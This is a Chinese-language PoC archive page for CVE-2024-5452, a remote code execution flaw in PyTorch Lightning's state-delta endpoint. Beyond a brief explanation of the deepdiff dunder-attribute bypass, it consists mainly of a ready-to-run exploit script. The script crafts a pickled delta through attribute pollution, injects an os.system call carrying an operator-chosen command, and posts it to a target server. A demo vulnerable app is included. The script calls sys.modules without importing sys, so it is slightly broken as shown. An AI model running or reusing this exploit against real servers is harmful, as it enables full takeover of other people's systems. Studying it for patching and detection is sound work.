POC详情: 3372c9d79f30cc51f8b697d5cbf7f747db65bde9

来源
关联漏洞
标题: Pytorch-Lightning 安全漏洞 (CVE-2024-5452)
描述:Pytorch-Lightning是一个开源轻量级 PyTorch 包装器。用于高性能 Ai 研究。 Pytorch-Lightning 2.2.1版本存在安全漏洞,该漏洞源于对反序列化用户输入的处理不当和对dunder属性的管理不善,导致受到远程代码执行(RCE)攻击。
描述
此漏洞的根本原因是**深度差异库(deepdiff)**在反序列化用户输入时,未正确处理双下划线(dunder)属性。 PyTorch Lightning 使用 deepdiff.Delta 对象根据前端操作修改应用状态,设计目标是仅允许特定状态变量的修改。
介绍
### 通过属性/类污染导致RCE:Lightning AI 的 PyTorch Lightning 状态修改端点漏洞  

---

### 描述  
此漏洞的根本原因是**深度差异库(deepdiff)**在反序列化用户输入时,未正确处理双下划线(dunder)属性。  
PyTorch Lightning 使用 `deepdiff.Delta` 对象根据前端操作修改应用状态,设计目标是仅允许特定状态变量的修改。尽管 deepdiff 提供了沙盒化的 `pickle` 反序列化器,并限制了输入白名单以防止代码执行,但仍存在以下问题:  
1. **dunder 属性绕过**:通过引号可以绕过 deepdiff 的对 dunder 属性的防护机制。  
2. **序列化对象构造漏洞**:攻击者可以构造序列化的 delta 数据,该数据既通过了白名单检查,又包含了 dunder 属性。  

因此,攻击者能够利用此漏洞通过属性污染访问其他模块、类和实例,最终完全控制应用状态(RCE)。  
**默认配置的 PyTorch Lightning 应用均会受到此漏洞的影响**,因为 delta 接口默认启用。

---

### 漏洞复现(概念验证 - Proof of Concept)

#### 漏洞脚本(exploit.py)  
以下脚本通过发送构造的 delta 数据,利用属性污染实现 RCE。

```python
import requests, time, pickle, pickletools
from collections import namedtuple
from ordered_set import OrderedSet

# 沙盒绕过和工具类定义
OrderedSet.__reduce__ = lambda self, *args: (OrderedSet, ())
class Root:
    def __init__(self, path=None):
        self.path = path or []

    def __getitem__(self, item):
        return self.__class__(self.path + [('GET', repr(item))])

    def __getattr__(self, attr):
        return self.__class__(self.path + [('GETATTR', repr(attr) if attr.startswith('__') else attr)])
    
    def __reduce__(self, *args):
        return str, (str(self),)

server_host = 'http://127.0.0.1:7501'
server_host = input(f'LightningApp 根URL [{server_host}]: ') or server_host
command = input('输入命令 [id]: ') or 'id'

def send_delta(d):
    # 发送 delta 数据到远程主机
    requests.post(server_host + '/api/v1/delta', headers={
        'x-lightning-type': '1',
        'x-lightning-session-uuid': '1',
        'x-lightning-session-id': '1'
    }, json={"delta": d})

# 构造要注入并执行的代码
injected_code = f"__import__('os').system({command!r})"

root = Root()

# 构造 delta 数据
delta = {
    'attribute_added': {
        root['function']: namedtuple,
        sys.modules['lightning.app'].api.request_types._DeltaRequest.args: (injected_code,),
    }
}

# 序列化并发送 payload
payload = pickletools.optimize(pickle.dumps(delta, 1)).decode() \
    .replace('__builtin__', 'builtins') \
    .replace('unicode', 'str')

send_delta(payload)
time.sleep(0.2)
send_delta({})
```

#### 演示应用代码(app.py)
```python
from lightning.app import LightningFlow, LightningApp

class SimpleFlow(LightningFlow):
    def run(self):
        pass

app = LightningApp(SimpleFlow())
```

---

### 核心漏洞点解析
1. **允许序列化数据传入 `/api/v1/delta`**:该接口缺乏对输入的严格检查。  
2. **不正确的 dunder 属性处理**:攻击者通过 `repr()` 绕过 deepdiff 的限制,访问内部对象。  
3. **属性污染链条**:最终修改应用内部结构,操控核心逻辑。

---

### 总结  
此漏洞允许攻击者利用 delta 接口实现远程代码执行(RCE),影响所有默认配置的 PyTorch Lightning 应用。需及时修复以避免潜在风险。
文件快照

[4.0K] /data/pocs/3372c9d79f30cc51f8b697d5cbf7f747db65bde9 ├── [ 11K] LICENSE └── [3.4K] README.md 0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。